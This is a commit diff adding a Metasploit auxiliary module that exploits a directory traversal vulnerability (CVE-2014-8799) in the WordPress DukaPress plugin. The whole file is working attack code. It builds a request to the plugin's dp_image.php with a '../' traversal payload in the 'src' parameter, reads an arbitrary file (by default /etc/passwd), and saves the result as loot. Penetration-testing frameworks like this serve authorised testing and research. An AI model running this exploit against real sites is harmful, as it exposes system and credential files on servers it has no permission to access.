Land rapid7#5162, WordPress Dukapress File Read Vulnerability

Author: firefart

modules/auxiliary/scanner/http/wp_dukapress_file_read.rb

@@ -0,0 +1,82 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Auxiliary::Report
+  include Msf::HTTP::Wordpress
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'WordPress DukaPress Plugin File Read Vulnerability',
+      'Description'    => %q{
+        This module exploits a directory traversal vulnerability in WordPress Plugin
+        "DukaPress" version 2.5.2, allowing to read arbitrary files with the
+        web server privileges.
+      },
+      'References'     =>
+        [
+          ['EDB', '35346'],
+          ['CVE', '2014-8799'],
+          ['WPVDB', '7731'],
+          ['OSVDB', '115130']
+        ],
+      'Author'         =>
+        [
+          'Kacper Szurek', # Vulnerability discovery
+          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
+        ],
+      'License'        => MSF_LICENSE
+    ))
+
+    register_options(
+      [
+        OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
+        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
+      ], self.class)
+  end
+
+  def check
+    check_plugin_version_from_readme('dukapress', '2.5.7')
+  end
+
+  def run_host(ip)
+    traversal = "../" * datastore['DEPTH']
+    filename = datastore['FILEPATH']
+    filename = filename[1, filename.length] if filename =~ /^\//
+
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri'    => normalize_uri(wordpress_url_plugins, 'dukapress', 'lib', 'dp_image.php'),
+      'vars_get' =>
+        {
+          'src' => "#{traversal}#{filename}"
+        }
+    })
+
+    if res && res.code == 200 && res.body.length > 0
+
+      print_status('Downloading file...')
+      print_line("\n#{res.body}")
+
+      fname = datastore['FILEPATH']
+
+      path = store_loot(
+        'dukapress.file',
+        'text/plain',
+        ip,
+        res.body,
+        fname
+      )
+
+      print_good("#{peer} - File saved in: #{path}")
+    else
+      print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.")
+    end
+  end
+end